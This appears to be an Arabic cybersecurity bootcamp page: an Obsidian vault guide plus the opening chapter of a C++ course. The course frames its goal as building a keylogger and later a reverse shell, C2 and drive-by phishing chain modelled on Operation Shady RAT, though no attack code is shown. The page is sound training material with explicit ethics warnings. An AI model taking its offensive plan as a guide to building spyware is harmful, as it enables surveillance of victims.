ISKANDERCyber Bootcamp دخول
خصم ٤٥٪دورة الفريق الأزرق بـ ٢٧٥٬٠٠٠ د.ع بدلاً من ٥٠٠٬٠٠٠. عرض Winter Arc للتسجيل المبكر، والدورة تبدأ نوفمبر ٢٠٢٦. احجز مكانك
معسكر الأمن السيبرانيZERO TO HERO

لا تحفظ الأدوات. افهم الطريق.

من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية، إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة، وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.

٨دورات ومراحل
٦٣وحدة تعليمية
٥٢٩موضوعاً مفصّلاً
٧فصول منشورة
الخريطة

خريطة المسار التفاعلية

اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى اليسار: ما على اليمين يجب أن يسبق ما على اليسار.

الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول

منشور حتى الآن

من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الخزنة

المنهج كشبكة، لا كقائمة

كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات، الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت واحدة امتلأت العقد المشتركة معها.

تحتوي الخزنة
دليل التنقّل شبكة المفاهيم

لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة تسمية تقطع الرابط.

الطريقة الأنظف · عبر Git

استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:

git clone https://github.com/HashHashBit/iskander-vault.git
لا تملك Git؟ نزّله لويندوز ←
الشبكة

شبكة المفاهيم

نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها: اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK، أو المسار الأقصر بين مفهومين. دليل التنقّل يشرح الطريقة كاملة.

النوع
الفصل
تكتيك ATT&CK
الروابط
التصفية
أقل عدد إشارات: 1
اسحب الخلفية للتحريك · عجلة الفأرة للتقريب · اضغط عقدة لتفاصيلها
عودة إلى الخريطة
زينب إسكندر، مدرّبة الأمن السيبراني في معسكر إسكندر
المدرّبة

زينب إسكندر

مدرّبة الأمن السيبراني · معسكر إسكندر

تبني محتوى الأمن السيبراني الذي بحثت عنه بالعربية ولم تجده: شرح يبدأ من المبدأ، ومختبرات تُشغَّل بيدك، لا شرائح تُحفظ.

احجز جلسة استشارية

لماذا هذا المنهج

أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم يُنظر إليها من جهة المدافع.

العمل مع المختصّين

تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً. المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.

المختبرات هي الفرق

لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.

شبكة المفاهيم

دليل التنقّل: كيف تقرأ هذه الخزنة في Obsidian

هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.


أولاً: افتح الخزنة

  1. نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
  2. في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
  3. افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات. Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.

بنية الخزنة

المجلدما فيه
المحاضراتنص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدوراتصفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المفاهيم/الطرقطرق التوصيل: الملف المربوط، HTA، الحاويات، وغيرها
المفاهيم/الأدواتالثنائيات الموقّعة وأدوات العمل: mshta، certutil، PowerShell
المفاهيم/الدفاعاتما تواجهه: MOTW، SmartScreen، Defender، AMSI، ETW
المفاهيم/التقنياتتقنيات MITRE ATT&CK المذكورة في المحاضرات
المفاهيم/الخصومالمجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة

كيف تقرأ ملف مفهوم

كل ملف مفهوم مبني على نفس الشكل:

  • رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
  • الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
  • يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
  • مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟

الأدوات الخمس التي ستستخدمها

1. الرسم الكامل (Graph view)

الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:

  • Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
  • Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
  • Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
  • Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.

النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.

2. الرسم الموضعي (Local graph)

من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:

  • Depth 1: ما يرتبط بالملف مباشرة.
  • Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.

هذه هي الأداة التي ستقضي فيها أكثر وقتك.

3. الروابط الخلفية (Backlinks)

في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.

4. لوحة الوسوم (Tags)

في الشريط الأيمن. الوسوم الجاهزة:

#محاضرة · #دورة · #مفهوم/دفاع · #مفهوم/أداة · #مفهوم/طريقة · #مفهوم/تقنية · #مفهوم/خصم · #مسار/...

اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.

5. البحث والتنقّل السريع

الأمرويندوزماك
فتح ملف بالاسمCtrl+OCmd+O
بحث في كل النصCtrl+Shift+FCmd+Shift+F
لوحة الأوامرCtrl+PCmd+P
الرسم الكاملCtrl+GCmd+G

إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.


مثال كامل: كيف تدرس موضوعاً واحداً

خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.

الخطوة 1: ابدأ من المفهوم، لا من المحاضرة

افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.

الخطوة 2: افتح الرسم الموضعي بعمق 1

سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.

قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.

الخطوة 3: اتبع أغرب جار

SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.

ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.

الخطوة 4: انزل إلى النص

من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.

الخطوة 5: اجمع المحور كله

ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.

الخطوة 6: اقلب السؤال

اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.

الخطوة 7: اكتب ملاحظتك أنت

أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].

اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.


نمط أسبوعي مقترح

اليومالعمل
قبل المحاضرةافتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءةلا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءةافتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعةافتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوعاكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل

أخطاء شائعة

  • قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
  • تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
  • إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
  • البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
  • عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.

العودة إلى الخريطة

الفصول

ما هو الـ APT؟ ولماذا تُكتب أدواته بـ C++؟ ثمّ من «ما هي البرمجة؟» إلى أوّل أداة تعمل _لا تفترض هذه الصفحة أنّك كتبت سطر كود واحداً قبل اليوم_

Cybersecurity Bootcamp، Phase 1: Red Team Foundations الفصل الأوّل في المسار: يبدأ من عقلية الخصم ودراسة حالة Operation Shady RAT، ثمّ يبني اللغة التي تُكتب بها أدواته. لا يفترض أيّ معرفة سابقة، وكلّ ما بعده يفترضه.

كيف تقرأ هذا المستند

بقيّة فصول هذا المعسكر تفترض أنّك تقرأ C++ وتكتبها. هذا الفصل هو المكان الذي تتعلّمها فيه، من الصفر التامّ. يبدأ من سؤال «ما هي البرمجة؟» وينتهي ببرنامج يعمل، مروراً بكلّ رمز في الطريق.

الطريقة الوحيدة التي تنفع: اكتب كلّ معمل بيدك. ستجد صناديق معلّمة بـ 🧪 على طول المستند. لا تنسخها ولا تمرّ عليها بالقراءة: اكتبها حرفاً حرفاً، وترجِمها، وشغّلها، واكسرها عمداً لترى الخطأ.

كالعادة: النصّ عربيّ RTL، والكود إنجليزيّ LTR، والمصطلحات القصيرة (cout, int, #include) داخل جمل عربيّة بين backticks.


جدول المحتويات

#الموضوع
0ما هو الـ APT؟ ولماذا C++؟
1أساسيات البرمجة والـ Compiler
2Hello World — كلّ رمز مشروح
3الذاكرة والمتغيّرات وأنواع البيانات
4العمليات والشروط
5الحلقات
6الدوال
7الملفات والـ Streams
8Windows API — كيف نتحدّث مع نظام التشغيل
9بناء الـ Keylogger الكامل

قبل أن تبدأ: الأدوات المطلوبة

#العنصرمن أينلماذا
1VS Codehttps://code.visualstudio.comالمحرّر الذي نكتب فيه
2MSYS2 + g++ (UCRT64)https://www.msys2.orgالمترجِم الذي يحوّل الكود إلى .exe
3إضافة C/C++ في VS Codeمن داخل المحرّرإكمال الكود وإبراز الأخطاء
4جهاز Windows أو آلة افتراضيّة—القسمان 8 و 9 يستدعيان Windows API

دليل التنصيب المفصّل بالعربيّة موجود في ملفّ cpp_vscode_setup_and_compilation_guide-v2-AR.pdf داخل مستودع الدورة.

تنبيه. القسمان الأخيران يبنيان أداة تسجّل ضغطات المفاتيح. شغّلها على جهازك أنت داخل بيئة معزولة، ولا شيء غير ذلك. تشغيلها على جهاز لا تملكه جريمة.

القسم 0القسم 0: ما هو الـ APT؟ ولماذا C++؟

أهلاً بك في أوّل فصل من الرحلة. قبل أن تكتب سطر C++ واحداً، وقبل أن تعرف ما هو المتغيّر أصلاً، عليك أن تفهم لماذا أنت هنا — ما الذي نبنيه في نهاية هذا الفصل، ومن أين جاءت الفكرة، وما الخطّ الأحمر الذي لا نعبره. هذا القسم هو ذلك الفهم. اقرأه كاملاً؛ كلّ ما يليه في هذا الفصل — كلّ حلقة مصوّرة، كلّ معمل، كلّ سطر مشروح — يفترض أنّك استوعبت ما هنا.

وضْع هذا الفصل بسيط في جملة واحدة: هذا هو الفصل صفر، أساس البرمجة الذي تتّكئ عليه كلّ الفصول التالية. نتعلّم فيه C++ من الصفر التامّ — لا نفترض أيّ معرفة سابقة بالبرمجة إطلاقاً — ثمّ نُجمّع في نهايته أوّل أداة هجوميّة حقيقيّة بأيدينا: keylogger يسجّل ضربات المفاتيح في ملفّ نصّيّ محلّيّ. لا شبكة، لا اتصال بمهاجم، لا إخفاء متقدّم — فقط الأساس البرمجيّ القويّ. لأنّه بدون هذا الأساس، كلّ ما يأتي بعده يصبح نسخاً ولصقاً بلا فهم، وأوامر سحريّة تُنفّذها دون أن تدري ماذا تفعل.

تنبيه قبل كلّ شيء: هذا للتعليم والدفاع حصراً

هذه الدورة كلّها — وهذا الفصل منها — للأغراض التعليميّة والدفاعيّة حصراً. اتّفاق أخلاقيّ نعقده الآن، قبل أوّل سطر:

  • جميع التجارب تُنفَّذ داخل بيئة معزولة (Virtual Machines). ما يُبنى في المعمل يبقى في المعمل.
  • نشر هذه الأدوات على أنظمة لا تملكها جريمة قانونيّة في كلّ دول العالم — بلا استثناء. القوانين صريحة: Computer Fraud and Abuse Act في الولايات المتّحدة، Computer Misuse Act في المملكة المتّحدة، والموادّ 431-438 من قانون العقوبات العراقيّ.
  • نتعلّم أدوات المهاجمين لأنّ المدافع لا يستطيع كشف ما لا يفهمه. لتصطاد قنّاصاً عليك أن تفكّر كقنّاص. هذا هو المبرّر الوحيد، وهو مبرّر كافٍ.

قد تسأل: إن كان الأمر بهذه الخطورة، فلماذا نتعلّمه أصلاً؟ الجواب أنّ الطرف الآخر يتعلّمه بالفعل، ويبنيه كلّ يوم، ويهاجم به مؤسّسات حقيقيّة. الفرق بينك وبينه ليس المعرفة — بل ماذا تفعل بها. أنت تتدرّب لتصبح متخصّصاً في الأمن السيبرانيّ، والمتخصّصون يعملون ضمن القانون. المسؤوليّة الأخلاقيّة هنا ليست شعاراً على جدار: هي شرط بقائك في هذه المهنة. استخدم هذه المعرفة للحماية، لا للأذى.

ما هو الـ APT؟ فكّ المصطلح كلمةً كلمةً

كلّ ما نبنيه في هذه الدورة يدور حول فكرة واحدة: الـ APT. الحروف الثلاثة اختصار لـ Advanced Persistent Threat — «التهديد المتقدّم المستمرّ». وأفضل طريقة لفهم ما تعنيه هي أن نفكّ الكلمات الثلاث واحدةً واحدةً، لأنّ كلّ واحدة منها تصف بُعداً مختلفاً من الخطر.

الكلمةالمعنىماذا تعني عمليّاً
Advanced — متقدّميستخدم تقنيات متطوّرةسلاسل استغلال (Exploit chains)، برمجيّات خبيثة مخصّصة (Custom malware)، وثغرات يوم-الصفر (Zero-day vulnerabilities) لم يكتشفها أحد بعد.
Persistent — مستمرّيبقى داخل النظاملأشهر أو سنوات. يتجنّب الكشف، يحافظ على وصوله، ويتحرّك بصمت. لا يدخل ويخرج بسرعة — يستوطن.
Threat — تهديدله هدف ونيّةسرقة بيانات، تجسّس حكوميّ، سرقة ملكيّة فكريّة، أو تخريب بنية تحتيّة. وراءه بشرٌ لهم أجندة، لا سكربت عشوائيّ.

لاحظ الفرق بين هذا وبين «فيروس» عاديّ يصيب جهازك بالصدفة. الـ APT ليس حادثاً — إنّه حملة موجَّهة يقودها فريق محترف، غالباً بتمويل دولة، ضدّ هدف مُختار بعناية، ويصبر سنوات ليحصل على ما يريد. هذا هو الخصم الذي نتعلّم كيف نفكّر مثله.

ثلاث مجموعات من التاريخ

الـ APT ليس مفهوماً نظريّاً؛ له وجوه وأسماء وسجلّ. ثلاث مجموعات تصلح أمثلةً على تنوّع الدوافع خلف هذه الهجمات:

  • APT28 / Fancy Bear (روسيا) — استهدفت الانتخابات الأمريكيّة عام 2016. تُبنى أدواتها الهجوميّة بـ C/C++. مثال على التجسّس السياسيّ الموجَّه.
  • Lazarus Group (كوريا الشماليّة) — سرقت ما يُقدَّر بـ 1.5 مليار دولار من البنوك ومنصّات العملات الرقميّة. مثال على مجموعة تُموِّل دولةً بالسرقة الرقميّة المباشرة.
  • APT41 / Double Dragon (الصين) — تمارس التجسّس الحكوميّ والجريمة الماليّة في آنٍ واحد — نهاراً لصالح الدولة، وليلاً لحسابها الخاصّ. مثال على تداخل الدوافع.

ما الذي يجمع هذه المجموعات الثلاث تقنيّاً، رغم اختلاف بلدانها ودوافعها؟ كلّها تستخدم C/C++ كلغة أساسيّة لأدواتها الهجوميّة. هذه ليست صدفة — سنفهم سببها في نهاية هذا القسم. وهي بالضبط اللغة التي سنبدأ بتعلّمها في هذا الفصل.

دراسة حالة: عمليّة Operation Shady RAT

لكي لا يبقى الكلام مجرّداً، لنمشِ في عمليّة حقيقيّة موثَّقة — وهي العمليّة التي تبني عليها هذه الدورة كلّها سيناريوهاتها.

اكتشفت شركة McAfee عمليّة Operation Shady RAT عام 2011. حين حلّلوها، تبيّن أنّها استهدفت أكثر من 72 منظّمة حول العالم — حكومات، وشركات، ومنظّمات دوليّة. والأخطر من العدد هو المدّة: استمرّت من عام 2006 إلى 2011، خمس سنوات كاملة بلا كشف. تخيّل مهاجماً جالساً داخل شبكة مؤسّسة يقرأ بريدها ويسرق ملفّاتها نصف عقد قبل أن ينتبه أحد. هذا هو المعنى الحقيقيّ لكلمة Persistent.

سلسلة الهجوم التي استُخدمت في Shady RAT كانت على النحو التالي:

  1. بريد تصيّد (Phishing Email) يصل إلى موظّف في المؤسّسة.
  2. رابط ملغوم (Malicious Link) داخل البريد.
  3. تنزيل تلقائيّ (Drive-by Download) يجري في الخلفيّة بمجرّد فتح الرابط.
  4. تشغيل Keylogger + Reverse Shell على جهاز الضحيّة.
  5. سرقة بيانات لسنوات.

انظر إلى الخطوة الرابعة جيّداً: Keylogger + Reverse Shell. هذا بالضبط ما نبنيه. في هذا الفصل نتعلّم C++ من الصفر ونُنفّذ مكوّن التسجيل (Logger) فقط — الجزء الذي يلتقط ضربات المفاتيح ويكتبها في ملفّ. في الفصول القادمة نضيف الصدفة العكسيّة (Reverse Shell)، ثمّ خادم البريد، ثمّ التوصيل، حتّى نُحاكي سلسلة Shady RAT كاملةً — كلّ ذلك داخل معمل معزول تماماً. اليوم نضع الحجر الأوّل في الأساس.

ماذا سنحاكي؟ وماذا لن نحاكي؟

من المهمّ أن تعرف حدود ما نفعله بدقّة، لأنّ الحدود هنا ليست تقنيّة فقط — بعضها أخلاقيّ وقانونيّ. الجدول التالي يفصل الأمرين:

✓ سنحاكي (تدريجيّاً عبر الدورة)✗ لن نحاكي
بناء Keylogger لتسجيل ضربات المفاتيح (هذا الفصل)Persistence — البقاء الدائم في النظام
اتصال Command & Control (الفصل القادم)Advancement — اكتشاف ثغرات جديدة
إعداد خادم بريد Mailcow للاختبار (لاحقاً)استغلال سلاسل Exploit معقّدة على أنظمة حقيقيّة
هجوم Drive-by Download عبر البريد (لاحقاً)
تنفيذ Reverse Shell والوصول عن بُعد (لاحقاً)

قد تسأل: لماذا نتوقّف عند حدّ Persistence وAdvancement تحديداً؟ الجواب أخلاقيّ لا تقنيّ. البقاء الدائم الحقيقيّ يتطلّب استغلال ثغرات فعليّة في أنظمة تشغيل فعليّة، والتقدّم الحقيقيّ يعني اكتشاف ثغرات جديدة. واللحظة التي نكتشف فيها ثغرةً حقيقيّة، يتغيّر واجبنا: نصبح ملزمين بالإبلاغ عنها لمالك النظام، لا باستغلالها. لهذا نبني كلّ شيء في معمل معزول على أنظمة نملكها بأنفسنا — فلا ثغرة نكتشفها هناك تخصّ أحداً غيرنا.

ميثاق الأخلاقيّات — ISC2 CISSP Code of Ethics

لسنا أوّل من واجه هذا السؤال. مهنة الأمن السيبرانيّ لها ميثاق أخلاقيّ راسخ، أشهره ميثاق ISC2 CISSP، ويقوم على أربعة مبادئ نلتزم بها في هذه الدورة كما يلتزم بها كلّ مهنيّ مُعتمَد:

#المبدأالنصّ الأصليّ
1حماية المجتمع والبنية التحتيّةProtect society, the common good, necessary public trust and confidence, and the infrastructure
2التصرّف بشرف وأمانة وعدالة ومسؤوليّةAct honorably, honestly, justly, responsibly, and legally
3تقديم خدمة كفؤة ومسؤولة للعملاءProvide diligent and competent service to principals
4حماية المهنة وتطويرهاAdvance and protect the profession

من هذه المبادئ يخرج مفهوم عمليّ ستسمعه كثيراً: الإفصاح المسؤول (Responsible Disclosure). المعنى بسيط: عند اكتشاف ثغرة، تُبلِغ مالك النظام أوّلاً، ولا تنشرها علناً إلّا بعد موافقته وإصلاح الثغرة. بصفتنا مهندسي أمن سيبرانيّ ملتزمين بهذا الميثاق، هذا ليس خياراً بل واجب أخلاقيّ ومهنيّ. تذكّره جيّداً — فهو الخطّ الفاصل بين الباحث الأمنيّ والمجرم.

لماذا C++ وليس Python؟

وصلنا إلى السؤال الذي في عنوان هذا القسم، وهو سؤال مشروع تماماً: إن كان Python أسهل بكثير في التعلّم والكتابة، فلماذا نُتعب أنفسنا بلغة أصعب كـ C++؟

الجواب الأوّل رأيناه بالفعل: المجموعات الحقيقيّة — APT28، Lazarus، APT41 — تكتب أدواتها الهجوميّة بـ C/C++. إن أردنا أن نفهم كيف يفكّر المهاجم الحقيقيّ ونكشف أدواته، فعلينا أن نتكلّم لغته هو، لا لغةً أسهل نتوهّم بها أنّنا نفهم.

لكنّ الأمر أعمق من التقليد. C++ تُترجَم مباشرةً إلى شيفرة الآلة (machine code) التي يفهمها المعالج، بلا وسيط بينها وبين النظام. وهذا يعطي الأداة التي نبنيها خصائص لا تملكها لغة كـ Python:

  • لا مُفسِّر مطلوب على جهاز الضحيّة: برنامج Python يحتاج إلى تثبيت Python نفسه ليعمل، أو يُحزَم بأدوات كـ PyInstaller تُنتج ملفّاً ضخماً مريباً. أمّا C++ فينتج ملفّاً تنفيذيّاً واحداً مكتفياً بذاته يعمل على أيّ جهاز Windows كما هو.
  • وصول مباشر إلى Windows API: كلّ ما نفعله — التقاط ضربات المفاتيح، إخفاء النافذة — نستدعيه من واجهة Windows مباشرةً، بلا مكتبات خارجيّة ولا .NET تتوسّط بيننا وبين النظام.
  • ملفّ صغير ومكتفٍ ذاتيّاً: الأداة التي سننتجها في نهاية السلسلة حجمها بضع مئات من الكيلوبايت فقط، مضمَّنة ستاتيكيّاً، تعمل من Windows 7 حتّى Windows 11 بلا تعديل.
  • تفهم كيف تعمل الأشياء تحت الجلد: وهذا أهمّها تعليميّاً. Python تُخفي عنك الذاكرة والمؤشّرات وتفاصيل النظام. C++ تُجبرك على رؤيتها. ومن يفهم الطبقة السفلى يفهم كلّ ما فوقها.

لهذا نبدأ من هنا. الطريق أصعب في أوّله، لكنّه الطريق الذي يبني مهندساً يفهم ما يكتب، لا ناسخاً يُشغّل أوامر لا يعرف معناها.

أين نحن في الصورة الكبيرة؟

لتضع هذا الفصل في سياقه، تخيّل سلسلة الهجوم الكاملة التي تبنيها الدورة، خطوةً خطوة:

text
بناء Keylogger  →  اتصال C2       →  خادم بريد   →  Drive-by      →  تنفيذ Spyware
(C++)              (Reverse Shell)    (Mailcow)      Download           (Keylogging)
   ▲
   │
هنا نحن اليوم — الفصل صفر

هدفنا في هذا الفصل تحديداً — لا أكثر ولا أقلّ:

  • تعلّم C++ من الصفر التامّ، بشرح كلّ رمز وكلّ سطر بالتفصيل.
  • كتابة برامج C++ صغيرة في كلّ خطوة، لا نظريّة مجرّدة.
  • فهم الذاكرة والمتغيّرات، ثمّ الدوالّ (Functions) والحلقات (Loops).
  • فهم أساسيّات Windows API.
  • تجميع Keylogger يكتب ضربات المفاتيح في ملفّ نصّيّ محلّيّ.

وما لن نفعله اليوم — كلّه مؤجَّل إلى الفصول القادمة: اتصال الشبكة (Winsock)، الصدفة العكسيّة وC2، الإخفاء المتقدّم (Persistence)، التشفير والتعمية (Obfuscation)، والتوصيل عبر البريد (Phishing). فلسفتنا مرحلةً بعد مرحلة: أساس قويّ أوّلاً، ثمّ نبني عليه.

هذا الفصل يصل إليك على شكل عدّة محاضرات مصوّرة قصيرة مضمَّنة في الصفحة، كلّ محاضرة تغطّي جزءاً من الرحلة من الصفر إلى الأداة المُجمَّعة — بينما يبقى هذا النصّ المكتوب مرجعك الذي تقرأه وحدك في البيت، تعود إليه سطراً سطراً كلّما احتجت. شاهد المحاضرة، ثمّ اقرأ القسم المقابل لها هنا؛ فالاثنان يكمّلان بعضهما.

اختبر نفسك

  1. فكّ اختصار APT إلى كلماته الثلاث، واشرح بجملة واحدة ما يعنيه كلّ بُعد منها.
  2. عمليّة Operation Shady RAT استمرّت خمس سنوات بلا كشف. أيّ كلمة من كلمات APT الثلاث يوضّحها هذا الرقم أكثر من غيرها، ولماذا؟
  3. اذكر سببين تقنيّين — لا يتعلّقان بالتقليد — يجعلان C++ أنسب من Python لكتابة أداة هجوميّة تعمل على جهاز ضحيّة.
  4. ما مبدأ الإفصاح المسؤول (Responsible Disclosure)، وفي أيّ لحظة من عمل الباحث الأمنيّ يصبح واجباً عليه؟
  5. في سلسلة هجوم Shady RAT المكوَّنة من خمس خطوات، أيّ خطوة هي التي نبنيها في هذا الفصل، وأيّ الخطوات مؤجَّلة إلى الفصول القادمة؟

القسم 1القسم 1: أساسيات البرمجة والـ Compiler

قبل أوّل سطر كود، نظريّة قصيرة. لن تطول، لكنّها تحسم سوء فهم يرافق كثيرين لسنوات.


ما هي البرمجة؟

البرمجة هي كتابة تعليمات يفهمها الحاسوب وينفّذها. لكنّ الحاسوب لا يفهم العربيّة ولا الإنجليزيّة، فنكتب التعليمات بلغة وسيطة — مثل C++ — يقرأها الإنسان بسهولة، ثمّ نترك لأداة اسمها Compiler أن تترجمها إلى لغة الآلة.

الرحلة كلّها ثلاث محطّات:

المحطّةما هيمثالملاحظة
Source Codeملفّ نصّيّ يكتبه الإنسانhello.cppيُقرأ ويُعدَّل بسهولة
Compilerالمترجِمg++يحوّل النصّ إلى شيفرة آلة
Executableملفّ ثنائيّ ينفّذه المعالجhello.exeحجمه نحو 50–100 كيلوبايت
text
Source Code (.cpp)  →  Compiler (g++)  →  Executable (.exe)  →  CPU ينفّذ البرنامج

هذا الفصل لا يفترض أيّ خبرة برمجيّة سابقة. كلّ شيء من الصفر، بما في ذلك هذه الجملة.


ما هو الـ Compiler؟ ولماذا نحتاجه أصلاً؟

المشكلة الأساسيّة بسيطة وقاسية: المعالج لا يفهم سوى 0 و 1. تعليمة بسيطة مثل «اجمع رقمين» تبدو له هكذا:

text
10001011 11000001 ...

لا أحد يستطيع كتابة برنامج بهذه الطريقة — ليس لأنّه مستحيل، بل لأنّ كلفته البشريّة لا تُحتمَل. فنكتب نصّاً مقروءاً، ونترك الترجمة لآلة لا تملّ.

ما يفعله الـ Compiler بالترتيب:

  1. يقرأ ملفّ .cpp النصّيّ.
  2. يفحص الأخطاء النحويّة (Syntax) ويرفض المتابعة إن وجد واحداً.
  3. يحوّل كلّ سطر إلى أوامر يفهمها المعالج.
  4. يُخرج ملفّ .exe جاهزاً للتشغيل.

